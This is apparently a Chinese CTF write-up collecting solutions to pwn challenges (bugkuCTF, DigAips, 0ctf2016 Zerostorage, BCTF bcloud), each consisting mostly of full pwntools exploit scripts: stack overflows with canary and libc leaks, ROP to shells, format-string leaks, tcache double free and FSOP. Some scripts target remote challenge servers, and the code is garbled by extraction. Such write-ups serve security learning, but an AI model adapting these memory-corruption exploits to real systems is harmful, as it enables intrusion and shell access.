六月Pwn刷题
bugkuCTF Pwn
Pwn1
nc上去直接cat flag
Pwn2
栈溢出,直接getshell函数
1 2 3 4 5 6 7 8 from pwn import *context (os='linux',arch='amd64 ',log_level='debug')p = remote('114.116.54.89 ',10003 )ret_addr = 0 x400751 payload = 'a'*(0 x30 +8 )+p64 (ret_addr)p .sendline(payload)p .interactive()
pwn3–read_note
这个题目也是栈溢出
栈溢出漏洞,但是开了canary
和pie
,所以我们先要利用puts
函数泄漏canary
,elf_base
,和libc_base
,然后ret到system('/bin/sh\x00')
在泄露canary的时候我们可以利用如果输入字节数不是0x270可以重新输入一次来绕过返回时检查canary。成功泄露canary之后我们就可以泄露返回地址,然后一样通过第二次写入覆盖返回地址,第三次重写泄露libc,最后返回到system来getshell。
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import * context .log_level = 'debug' p = process('./read_note') p .recvuntil('path:\n')p .sendline('flag')p .recvuntil(' len:\n')p .sendline(str(0 x300 ))p .recvuntil('note:\n')p .send('a'*0 x259 )p .recvuntil('a'*0 x259 )canary = u64 (p.recv(7 ).rjust(8 ,'\x00 '))ebp = u64 (p.recv(6 ).ljust(8 ,'\x00 '))log .success('canary : 0 x%x'%canary)log .success('ebp : 0 x%x'%ebp)p .recvuntil('s 624 )\n')p .send('a'*0 x258 + p64 (canary) + p64 (ebp) + '\x20 ' ) p .recvuntil('path:\n')p .sendline('flag')p .recvuntil(' len:\n')p .sendline(str(0 x300 ))p .recvuntil('note:\n')p .send('a'*0 x268 )p .recvuntil('a'*0 x268 )elf_base = u64 (p.recv(6 ).ljust(8 ,'\x00 ')) - 0 xd2 elog .success('elf_base : 0 x%x'%elf_base)p .recvuntil('s 624 )\n')p .send('a'*0 x258 + p64 (canary) + p64 (ebp) + '\x20 ' ) p .recvuntil('path:\n')p .sendline('flag')p .recvuntil(' len:\n')p .sendline(str(0 x300 ))p .recvuntil('note:\n')p .send('a'*0 x288 )p .recvuntil('a'*0 x288 )libc_base = u64 (p.recv(6 ).ljust(8 ,'\x00 ')) - 0 x20830 log .success('libc_base : 0 x%x'%libc_base)offset_system = 0 x0000000000045390 offset_str_bin_sh = 0 x18 cd57 system_addr = libc_base + offset_systembinsh_addr = libc_base + offset_str_bin_shpop_ret = elf_base + 0 xe03 p .recvuntil('s 624 )\n')payload = 'a'*0 x258 + p64 (canary) + p64 (ebp) + p64 (elf_base+0 xd20 )p .send(payload) p .recvuntil('path:\n')p .sendline('flag')p .recvuntil(' len:\n')p .sendline(str(0 x300 ))p .recvuntil('note:\n')p .send('a'*0 x258 + p64 (canary) + p64 (ebp) + p64 (pop_ret) + p64 (binsh_addr) + p64 (system_addr) )p .recvuntil('s 624 )\n')payload = 'a'p .send(payload)p .interactive()
pwn4
栈溢出非常少,这道题学到了栈溢出getshell还可以system('$0')
可以getshell
关于getshell的一些参考:
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char s; memset (&s, 0 , 0x10 uLL); setvbuf(stdout , 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 1 , 0L L); puts ("Come on,try to pwn me" ); read (0 , &s, 0x30 uLL); puts ("So~sad,you are fail" ); return 0L L; }
直接找$0
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context (os='linux',arch='amd64 ',log_level='debug')elf =ELF('./pwn4 ')code_addr = 0 x60111 fp = remote("114.116.54.89" ,10004 )system_plt = elf.symbols['system']pop_rdi_ret = 0 x00000000004007 d3 payload = 'a'*0 x18 +p64 (pop_rdi_ret)+p64 (code_addr)+p64 (system_plt)p .sendline(payload)p .interactive()
pwn5
这道题也是一个栈溢出,但是需要满足一些子串的条件才能让他正常返回,不然就直接exit出去了,满足的子串条件自己调进去看是什么就拼上去就好了,注意小端序就行。思路就是格式化字符串泄露libc,然后直接覆盖返回地址为one_gadget,再满足正常返回的条件,然后就ok了
下面是详细脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context .log_level = 'debug' p = process('./human')elf = ELF('./human')p = remote("114.116.54.89" ,10005 )payload = ".%11$p." pause ()p .sendline(payload)p .recvuntil("." )leak = int(p.recvuntil("." ,drop = True),16 )libc_base = leak - 0 x20830 log .success('leak : 0 x%x'%leak)log .success('libc_base : 0 x%x'%libc_base)one_gadget = libc_base + 0 x45216 payload = "\xe9\xb8\xbd\xe5\xad\x90" + "\xe7\x9c\x9f\xe9\xa6\x99" payload = payload.ljust(0 x20 ,"A" ) payload += p64 (0 ) + p64 (one_gadget)p .sendline(payload) p .interactive()
DigAips W8
挂起题目:socat tcp-l:端口号,fork exec:程序位置
这里DigAips的题目都是网上收集的题目
overfloat
overfloat我们可以猜测它与浮点数有关。如果我们仔细观察,我们可以看到0x3f800000代表浮动1.0
1 2 In [5 ]: binascii.hexlify(struct.pack('f' , 1.0 ))Out [5 ]: '0000803f'
我们可以将4字节数组转换为浮点数,然后溢出数组
1 2 3 4 5 def byte_to_float(data): if len(data) != 4 : log.error("Length of data should be 4" ) sys.exit (0 ) return str(struct.unpack('f' , bytes(data))[0 ])
并溢出数组
1 2 3 4 5 6 7 8 9 for i in range(0xe ): tosend = byte_to_float("A"*4 ) p.sendline(tosend) # trigger return to main # BOF at end of main -> ret p.sendline("done") p.interactive()
然后我们可以定义一个写入八字节的函数
最后利用方式就是利用gadget把puts的真实地址泄露出来,然后直接得到libc的基地址,最后直接返回到one_gadget就行了
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *import structimport sysimport binasciicontext (os='linux',arch='amd64 ',aslr = 'False')#,log_level='debug')local = 0 if local: p = process("./overfloat" )#,env={'LD_PRELOAD':'./libc_x64 .so.6 '}) elf = ELF("./overfloat" ) libc = ELF('/lib/x86 _64 -linux-gnu/libc.so.6 ') else : p = remote('47.92.28.22 ',30521 ) elf = ELF("./overfloat" ) libc = ELF('/lib/x86 _64 -linux-gnu/libc.so.6 ') def byte_to_float(data): if len(data) != 4 : log .error("Length of data should be 4" ) sys .exit(0 ) return str(struct.unpack('f', bytes(data))[0 ]) def write_8 _bytes(data): tosend = byte_to_float(data[:4 ]) p .sendline(tosend) tosend = byte_to_float(data[4 :]) p .sendline(tosend) p .recvuntil("LIKE TO GO?" )p .recvline()for i in range(0 xe): tosend = byte_to_float(chr(i)*4 ) p .sendline(tosend) pop_rdi = 0 x0000000000400 a83 #: pop rdi; ret;write_8_bytes (p64 (pop_rdi))write_8_bytes (p64 (elf.got["puts" ]))write_8_bytes (p64 (elf.symbols["puts" ]))start = 0 x400993 write_8_bytes (p64 (start))p .sendline("done" )p .recvuntil("VOYAGE!" )p .recvline() # empty lineres = p.recvline()[:-1 ]print ("puts @ " + hex(u64 (res.ljust(8 , "\x00" ))))puts_address = u64 (res.ljust(8 , "\x00" ))libc_base = puts_address - libc.symbols["puts" ]print ("libc @ " + hex(libc_base))pause ()if debug: one_gagdet = libc_base + 0 x4 f2 c5 else : one_gagdet = libc_base + 0 x4 f2 c5 p .recvuntil("LIKE TO GO?" )p .recvline()for i in range(0 xe): tosend = byte_to_float(chr(i)*4 ) p .sendline(tosend) write_8_bytes (p64 (one_gagdet))p .sendline("done" )p .interactive()
r4nk
这道题是一个关于电影排名的程序,
通过rank可以修改栈上的内容,这样我们可以改一个打印函数的偏移值,进而进行泄露。
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall Rank (__int64 a1) { __int64 v1; __int64 result; write (1 , "\nt1tl3> " , 9u LL); v1 = (signed int )my_read(); write (1 , "r4nk> " , 7u LL); result = (signed int )my_read(); 修改stack content-> *(_QWORD *)(a1 + 8 * v1) = (signed int )result; return result; }
所以我们可以利用这个特点来写入特殊的东西泄露libc地址,然后再show的时候,就会去读取特定地址的内容,从而泄露libc,也就是说我们就有了任意地址读的操作
1 2 3 addr_list = 0 x602080 # movie listaddr_buf = 0 x602100 # bufrank (0 , (addr_buf - addr_list) // 8 + 1 ) # rank(0 , 0 x11 )
泄露完libc之后,我们可以先修改栈上返回地址__libc_start_main+231
为0x0000000000400980(pop rsp; pop r13;ret;)
找一些有趣的gadget ,比如pop rsp,在返回之后的add rsp 8; 控制了rsp为0x602100,同时写入0x602100+8地方为one_gadget
,则成功返回到one_gadget进行getshell
这是一个有趣的栈迁移,通过改写栈上main函数的返回地址来进行栈迁移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *import sysimport timeimport randomlocal = 1 if local: p = process("./r4nk" )#,env={'LD_PRELOAD':'./libc_x64 .so.6 '}) elf = ELF("./r4nk" ) libc = ELF('/lib/x86 _64 -linux-gnu/libc.so.6 ') else : p = remote('47.92.28.22 ',30522 ) elf = ELF("./r4nk" ) libc = ELF('/lib/x86 _64 -linux-gnu/libc.so.6 ') def rank(t,rr): p .recvuntil("> " ) p .sendline("2" ) p .recvuntil("> " ) p .sendline(str(t)) p .recvuntil("> " ) p .sendline(str(rr)) def show(start,end): pass p .recvuntil(start) data = p.recvuntil(end)[:-len(end)] return data if __name__ == '__main__': rank (0 ,0 x11 ) p .recvuntil("> " ) p .sendline("1" +"\x00" *7 + p64 (0 x000602030 )) p .recvuntil("0. " ) libc = u64 (p.recv(6 ).ljust(8 ,"\x00" )) - 0 x110070 print ("libc = {}" .format(hex(libc))) magic = libc + 0 x4 f322 pop_rsp_1 = 0 x0000000000400980 pause () rank (19 ,pop_rsp_1 ) # pop rsp; pop r13 ;ret; rank (20 ,0 x602100 ) # nptr addr (myread output addr) 0 x602108 -> one_gadget p .recvuntil("> " ) p .sendline("3" + "\x00" *7 + p64 (magic)) p .interactive()
方法二,泄露libc后,使用使用ret2csu来调用write函数进行getshell
参考链接:https://ptr-yudai.hatenablog.com/entry/2019/06/03/113943#pwnable-494pts-rank
tcache_tear
这是一道tcache
的题目,然后漏洞点在于free
之后没有清零导致的double free
但是限制了free
次数为7次,但是我们可以在name
输入的时候设置fake_chunk
去free
得到libc
,然后show
出来就可以泄露libc地址,最后在利用double free
来覆盖free_hook
就完事了。
其中需要注意的是,要free掉fake块的时候需要提前在对应块的下一块的位置set好改pre的inuse位为1,否则会报double free or corruption (!prev)
具体脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *def add(size,note): p .sendlineafter(":" ,"1" ) p .sendlineafter(":" ,str(size)) p .sendafter(":" ,note) def delete(): p .sendlineafter(":" ,"2" ) p =process("./tcache_tear" )#,env = {'LD_PRELOAD' : './libc.so'})libc =ELF("/lib/x86_64-linux-gnu/libc.so.6" )p .sendlineafter("Name:" ,"name_ZoE" )add (0 x70 ,"ZoE\n" )delete ()delete ()add (0 x70 ,p64 (0 x602550 )) # fd = 0 x602550 add (0 x70 ,"ZoE\n" )add (0 x70 ,p64 (0 )+p64 (0 x21 )+p64 (0 )*2 +p64 (0 )+p64 (0 x21 )) # 0 x602550 's contentpause ()add (0 x60 ,"ZoE\n" )delete () # double free againdelete ()add (0 x60 ,p64 (0 x602050 )) # fd = 0 x602550 double free to name's addradd (0 x60 ,"ZoE\n" )add (0 x60 ,p64 (0 )+p64 (0 x501 )+p64 (0 )*5 +p64 (0 x602060 )) # big fake heap chunk *(0 x602088 (ptr)) = 0 x602060 -> free ptrdelete ()p .sendlineafter(":" ,"3" )p .recvuntil("Name :" )libc_addr =u64 (p.recv(8 ))-0 x3 ebca0 log .info(hex(libc_addr))free_hook =libc_addr+libc.symbols['__free_hook']system_addr =libc_addr+libc.symbols['system']add (0 x40 ,"ZoE\n" )delete ()delete ()add (0 x40 ,p64 (free_hook))add (0 x40 ,"ZoE\n" )add (0 x40 ,p64 (system_addr))add (0 x18 ,"/bin/sh\x00" )delete ()p .interactive()
guess
网鼎杯的一道guess,猜flag的一道题,只能fork三次。开启了Cannary,采用stack smash来进行信息泄露绕过cannary。同理我们也可以用一样的方法泄露三次,可以按照如下顺序泄露:首先通过got表来泄露libc的基址,接着利用libc中的environ变量来泄露栈的地址,最后通过固定的偏移来泄露栈上存放的flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(arch ='amd64' , os ='linux' , endian ='little' ) p = process('./guess' ) elf = ELF('./guess' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) print p.recvuntil('This is GUESS FLAG CHALLENGE!' )print p.recvuntil('Please type your guessing flag' )offset = 0x40+0x8*3 +(0x7fff42181a88-0x7fff421819b8) payload = 'a' *offset+p64(0x602048) p.sendline(payload) print p.recvuntil('*** stack smashing detected ***: ' )libc_start_main = u64(p.recvuntil(' ' )[:-1].ljust(8,'\x00' )) libc_base = libc_start_main-libc.symbols['__libc_start_main' ] print "libc_base = " + str(hex(libc_base))stack_addr_ptr = libc_base+libc.symbols['environ' ] print "stack_addr_ptr = " + str(hex(stack_addr_ptr))print p.recvuntil('Please type your guessing flag' )payload = 'a' *offset+p64(stack_addr_ptr) pause() p.sendline(payload) print p.recvuntil('*** stack smashing detected ***: ' )stack_addr = u64(p.recvuntil(' ' )[:-1].ljust(8,'\x00' )) print "stack_addr = " + str(hex(stack_addr))flag_offset = 0x7fffe109fde8-0x7fffe109fc80 flag_addr = stack_addr - flag_offset print p.recvuntil('Please type your guessing flag' )payload = 'a' *offset+p64(flag_addr) p.sendline(payload) print p.recv()p.interactive()
easy
SWPUCTF原题
这个里面有一个格式化字符串,一个栈溢出,先用格式化泄漏出 libc 基地址和 heap 地址。通过 heap 获得目标地址。
然后是 motto 处,先是输入长度时如果长度为负那么会对长度进行求补,-9223372036854775808(-0x8000000000000000)补数是本身,这样就可以实现输入一串很长的字符串造成栈溢出了。
1 2 3 4 5 __int64 long int 8 byte(qword) 正: 0 ~0x7fffffffffffffff 负: 0x8000000000000000 ~0xffffffffffffffff 而-9223372036854775808 (-0x8000000000000000 )补数是本身 这样子就能绕过第二个if
如果是其他负数,比如:
1 2 3 -9223372036854 ->0xfffff79c842fa50a 取补码后为:0x000008637bd05af6 但是第二个if 又会把他写死1024 大小
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 后面有异常检查,简单分析一下,关于C++的异常处理 # 会在__cxa_throw@plt退出 # 崩掉的地方调试信息如下: => 0x400e71 : call 0x400a30 <__cxa_throw@plt> 0x400e76 : mov rax ,QWORD PTR [rbp -0x418 ] 0x400e7d : mov rcx ,QWORD PTR [rbp -0x8 ] 0x400e81 : xor rcx ,QWORD PTR fs :0x28 0x400e8a : je 0x400e91 Guessed arguments: arg[0 ]: 0x2142ce0 --> 0x40100e ("The format of motto is error!" ) arg[1 ]: 0x6020e0 --> 0x7f898698c4f8 (:__pointer_type_info+16 >: 0x00007f89866a6160 ) arg[2 ]: 0x0 ================================== 跟进去 => 0x7f1b96a4d907 <__cxa_throw+87 >: call 0x7f1b96a47f60 <_Unwind_RaiseException@plt> 0x7f1b96a4d90c <__cxa_throw+92 >: mov rdi ,rbx 0x7f1b96a4d90f <__cxa_throw+95 >: call 0x7f1b96a46dc0 <__cxa_begin_catch@plt> 0x7f1b96a4d914 <__cxa_throw+100 >: call 0x7f1b96a49ac0 <std ::terminate()@plt> 0x7f1b96a4d919 : nop DWORD PTR [rax +0x0 ] Guessed arguments: arg[0 ]: 0xdf7cc0 --> 0x474e5543432b2b00 ('')
上面的异常主要是c的异常处理,详细解读可以看:https://www.cnblogs.com/catch/p/3604516.html
最后这里还要绕过 Canary,我们这里用c 异常处理来绕过,直接触发异常,unwind 时是不检测 Canary 的,这样就绕过了Canary 了。
unwind的是这一段,如图
1 2 3 4 payload = "aaaaaaaa" payload += p64 (one_gadget)payload = payload.ljust(0 x410 , '\x00 ')p .sendline(payload + p64 (pivote_addr) + p64 (unwind_addr))
getshell
的payload
如上,但是注意的是strdup
会把这里的这些内容放到heap
上,而heap
上就有了one_gadget
,而pivote_addr
为heap
上的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *p = process("./easy" )elf = ELF("./easy" , checksec=False)libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" , checksec=False)puts_got = elf.got["puts" ]puts_plt = elf.plt["puts" ]read_plt = elf.plt["read" ]read_addr = 0 x400 BF5 rdi_ret = 0 x400 fa3 rsi_r15_ret = 0 x400 fa1 p .recvuntil("please input name:\n" )p .send("%p/%p/%p/%p/%p/%p/!%p/\n" )p .recvuntil("/" )libc_base = int(p.recvuntil("/" )[:-1 ], 16 ) - 0 x3 C6780 p .recvuntil("/!" )heap_base = int(p.recvuntil("/" )[:-1 ], 16 )info ("libc base: " + hex(libc_base))info ("heap base: " + hex(heap_base))one_gadget = libc_base + 0 x45216 info ("one_gadget: " + hex(one_gadget))pivote_addr = heap_base + 0 x20 info ("pivote addr: " + hex(pivote_addr))unwind_addr = 0 x400 EC5 pause ()p .recvuntil("please input size of motto:\n" )p .sendline("-9223372036854775808" )p .recvuntil("please input motto:\n" )payload = "aaaaaaaa" payload += p64 (one_gadget)payload = payload.ljust(0 x410 , '\x00 ')p .sendline(payload + p64 (pivote_addr) + p64 (unwind_addr))p .interactive()
法二
其实不用unwind绕cannary这个神奇的操作,直接格式化字符串泄露就好了嘛,乖乖的。。哈哈哈哈
其他的栈溢出操作,同理,接下来就是常规操作了(泄露libc,返回到system或者one_gadet都ok)
正常ret2 system("/bin/sh")
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context .log_level = "debug" p = process("./easy" )elf = ELF("./easy" , checksec=False)libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" , checksec=False)payload = "%15$p" p .recvuntil("name:\n" )p .sendline(payload)p .recvuntil("Hello " )canary = int(p.recvuntil("please" , drop = True) , 16 )int64_max = -9223372036854775808 p .recvuntil("motto:\n" )p .sendline(str(int64 _max))pop_rdi = 0 x0000000000400 fa3 puts_plt = elf.plt["puts" ]puts_got = elf.got["puts" ]payload = "a" * (0 x410 -8 ) + p64 (canary) + "a" * 8 payload += p64 (pop_rdi) + p64 (puts_got) + p64 (puts_plt) payload += p64 (0 x400 DA0 )p .recvuntil(" motto:\n" )p .sendline(payload)puts_addr = u64 (p.recvuntil("\n" , drop = True).ljust(8 , "\x00" ))print (hex(puts_addr))libc_base = puts_addr - libc.sym["puts" ]system = libc_base + libc.sym["system" ]str_bin_sh = libc_base + libc.search("/bin/sh" ).next()int64_max = -9223372036854775808 p .recvuntil("motto:\n" )p .sendline(str(int64 _max))pop_rdi = 0 x0000000000400 fa3 puts_plt = elf.plt["puts" ]puts_got = elf.got["puts" ]payload = "a" * (0 x410 -8 ) + p64 (canary) + "a" * 8 payload += p64 (pop_rdi) + p64 (str_bin_sh) + p64 (system) pause ()p .recvuntil(" motto:\n" )p .sendline(payload)p .interactive()
0ctf2016 Zerostorage
用malloc只分配空间不初始化,也就是依然保留着这段内存里的数据,
而calloc则进行了初始化,calloc分配的空间全部初始化为0,这样就避免了可能的一些数据错误
realloc则对malloc申请的内存进行大小的调整.
三则区别:
区别:
(1)函数malloc不能初始化所分配的内存空间,而函数calloc能.如果由malloc()函数分配的内存空间原来没有被使用过,则其中的每一位可能都是0;反之, 如果这部分内存曾经被分配过,则其中可能遗留有各种各样的数据.也就是说,使用malloc()函数的程序开始时(内存空间还没有被重新分配)能正常进行,但经过一段时间(内存空间还已经被重新分配)可能会出现问题.
(2)函数calloc() 会将所分配的内存空间中的每一位都初始化为零,也就是说,如果你是为字符类型或整数类型的元素分配内存,那么这些元素将保证会被初始化为0;如果你是为指针类型的元素分配内存,那么这些元素通常会被初始化为空指针;如果你为实型数据分配内存,则这些元素会被初始化为浮点型的零.
(3)函数malloc向系统申请分配指定size个字节的内存空间.返回类型是 void类型.void表示未确定类型的指针.C,C++规定,void 类型可以强制转换为任何其它类型的指针.
(4)realloc可以对给定的指针所指的空间进行扩大或者缩小,无论是扩张或是缩小,原有内存的中内容将保持不变.当然,对于缩小,则被缩小的那一部分的内容会丢失.realloc并不保证调整后的内存空间和原来的内存空间保持同一内存地址.相反,realloc返回的指针很可能指向一个新的地址.
(5)realloc是从堆上分配内存的.当扩大一块内存空间时,realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节,如果能够满足,自然天下太平;如果数据后面的字节不够,问题就出来了,那么就使用堆上第一个有足够大小的自由块,现存的数据然后就被拷贝至新的位置,而老块则放回到堆上.这句话传递的一个重要的信息就是数据可能被移动.
unsortedbin attack
目的,把某一个地址写为特点值(一个libc地址)
1 2 3 4 victim = unsorted_chunks(av)-> bk=pbck = victim->bk =p-> bk = target addr-16 unsorted_chunks (av)-> bk = bck=target addr-16 bck -> fd = *(target addr -16 +16 ) = unsorted_chunks(av);
分析
漏洞点主要带merge那里,首先他遍历list找到一个空的序号来放合并后chunk的信息,然后在合并fromid和toid后把chunk_struct放到一开始找到的那个序号里,然后realloc了toid,size为两个chunk大小相加,把fromid删除掉,并把fromid和toid的内容清除掉free掉。这里主要是没有判断合并的两个chunk的序号是否是一样的。也就是说合并两个一样id的时候,先realloc了那个指针,然后又把那个指针free掉了,但是又存进了list里面,导致形成UAF。
利用思路
参考:https://www.anquanke.com/post/id/178418
泄露地址:先分配一些chunk,删除掉一个(不能与topchunk相邻),先合并两个一样chunk,因为realloc大小没有超过原来堆块的大小,因此不对内容做任何处理,然后我们就可以的得到libc地址和heap地址了。
利用方法:
Unsorted bin attack(FIFO) 先進先出
Fast bin unlink attack(LIFO) 后进先出
fastbin attack:
旧版思路
https://www.w0lfzhang.com/2017/03/17/2016-0CTF-zerostorage/
这个主要是泄露libc后可以根据libc地址找到程序的基地址,是根据旧版linux内核来说的,现在已经不适用了,找到程序基地址后,泄露key,就可以fastbin attack控制完bss中的list直接改free_hook
现在版本思路
但是在现有的版本中,无法通过libc地址得到程序的基址,该如何进一步利用拿到shell?接下来就是标题中新解所包含的部分了:据之前写的文章堆中global_max_fast相关利用,我们可以将目标瞄准为将global_max_fast改写后,复写_IO_list_all指针用io file来进行攻击。
但是_IO_list_all指针地址到main_arena中fastbin数组的地址的距离转换成对应的堆的size达到了0x1410,题目中限制了堆申请的大小只能为0x80到0x1000,所以似乎无法控制0x1410大小的堆块。
在把程序再次审查以后,发现解决方法还是在merge函数中,merge函数把两个entry合并,但是并没有对合并后的堆块的大小进行检查,使得其可以超过0x1000,最终达到任意堆块大小申请的目的。
这样问题就简单了,merge出相应大小的堆块并将其内容填写成伪造的io file结构体,free该堆块至_IO_list_all指针中,最终触发FSOP来get shell。
FSOP
FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
详细脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 from pwn import * elf = "./zerostorage" unsorted_bin_off = 0x3c4b78 global_max_fast_off = 0x3c67f8 cache_size_off = 0x3c41f0 io_stdin_off = 0x3c49b4 system_off = 0x45390 io_stdout_off = 0x3c5620 io_stdfil_1_lock_off = 0x3c6780 io_file_jumps_off= 0x3c36e0 nl_global_locale_off = 0x3c5420 nl_clctype_class_off = 0x1775e0 sysmem = 0x21000 stdout = 0xfbad2887 p = process(elf) def insert(s): p.recvuntil("Your choice: " ) p.sendline("1" ) p.recvuntil("Length of new entry: " ) p.sendline(str(len(s))) p.recvuntil("Enter your data: " ) p.send(s) def update(idx, s): p.recvuntil("Your choice: " ) p.sendline("2" ) p.recvuntil("Entry ID: " ) p.sendline(str(idx)) p.recvuntil("Length of entry: " ) p.sendline(str(len(s))) p.recvuntil("Enter your data: " ) p.send(s) def merge(idx1, idx2): p.recvuntil("Your choice: " ) p.sendline("3" ) p.recvuntil("Merge from Entry ID: " ) p.sendline(str(idx1)) p.recvuntil("Merge to Entry ID: " ) p.sendline(str(idx2)) def delete(idx): p.recvuntil("Your choice: " ) p.sendline("4" ) p.recvuntil("Entry ID: " ) p.sendline(str(idx)) def view(idx): p.recvuntil("Your choice: " ) p.sendline("5" ) p.recvuntil("Entry ID: " ) p.sendline(str(idx)) p.recvuntil("Entry No." +str(idx)+":\n" ) ''' bb 0x10CC bb 0x127D bb 0x14EB bb 0x15F6 ''' insert(p8(0)*0x8) insert(p8(1)*0x8) insert(p8(2)*0x8) pause() insert(p8(3)*0x8) delete(2) merge(0, 0) view(2) heap_base = u64(p.recv(8))-0x120 unsorted_bin_addr = u64(p.recv(8)) libc_base = unsorted_bin_addr-unsorted_bin_off log.info("heap_base: "+hex(heap_base)) log.info("libc_base: "+hex(libc_base)) top_chunk_off = 0x11580 top_chunk_addr = heap_base+top_chunk_off log.info("top_chunk: "+hex(top_chunk_addr)) io_stdout_addr = libc_base+io_stdout_off io_lock_addr = libc_base+io_stdfil_1_lock_off io_file_jump_addr = libc_base+io_file_jumps_off nl_clctype_class_addr = libc_base+nl_clctype_class_off system_addr = libc_base+system_off insert(p8(0)*0x10) insert(p8(0)*0x10) insert(p8(0)*0x1000) insert(p8(0)*0x10) merge(6, 6) insert(p8(0)*0x1000) merge(5, 6) insert(p8(0)*0x1000) merge(5, 8) insert(p8(0)*0xff0) merge(5, 6) insert(p8(0)*0x1000) insert(p8(0)*0x10) insert(p8(0)*0x1000) insert(p8(0)*0x1000) merge(9, 10) insert(p8(0)*0x1000) insert(p8(0)*0x10) insert(p8(0)*0x1000) insert(p8(0)*0xff0) merge(12, 13) insert(p8(0)*0x1000) insert(p8(0)*0x10) insert(p8(0)*0x1000) insert(p8(0)*0x1000) merge(15, 16) insert(p8(0)*0x1000) insert(p8(0)*0x10) payload = p8(0)*0x1b0 payload += p64(sysmem) payload += p8(0)*(0x2a0-0x8-len(payload)) payload += p64(nl_clctype_class_addr) payload += p8(0)*(0x438-0x8-len(payload)) payload += p64(stdout) payload += p8(0)*(0x4a8-0x8-len(payload)) payload += p32(0x1) payload += p8(0)*(0x4c0-0x8-len(payload)) payload += p64(io_lock_addr) payload += p8(0)*(0x510-0x8-len(payload)) payload += p64(io_file_jump_addr) payload += p8(0)*(0x520-0x8-len(payload)) payload += p64(io_stdout_addr) payload += p8(0)*(0x1000-len(payload)) insert(payload) payload = p8(0)*(0x910-0x8) payload += p64(system_addr) payload += p8(0)*(0x980-0x8-len(payload)) payload += p64(top_chunk_addr)+p64(0) payload += p64(unsorted_bin_addr)*2 payload += p8(0)*(0xff0-len(payload)) insert(payload) merge(18, 19) insert(p8(0)*0x1000) insert("/bin/sh" ) delete(4) payload = p64(unsorted_bin_addr) payload += p64(libc_base+global_max_fast_off-0x10) update(2, payload) insert(p8(0)*0x10) delete(8) update(7, p64(libc_base+cache_size_off)+p64(0)) merge(11, 14) merge(17, 20) p.sendline("2" ) p.sendline("19" ) p.sendline("256" ) p.interactive()
BCTF 2016 bcloud
下面代码中第二个strcpy把后面v2也复制进去了,所以可以泄露堆地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned int get_name () { char s; char *v2; unsigned int v3; v3 = __readgsdword(0x14 u); memset (&s, 0 , 0x50 u); puts ("Input your name:" ); myraed((int )&s, 64 , 10 ); v2 = (char *)malloc (0x40 u); name_ptr = (int )v2; strcpy (v2, &s); # leak v2 welcome((int )v2); return __readgsdword(0x14 u) ^ v3; }
然后可以发现在写host和org的时候调用的strcpy也有问题,代码如下:
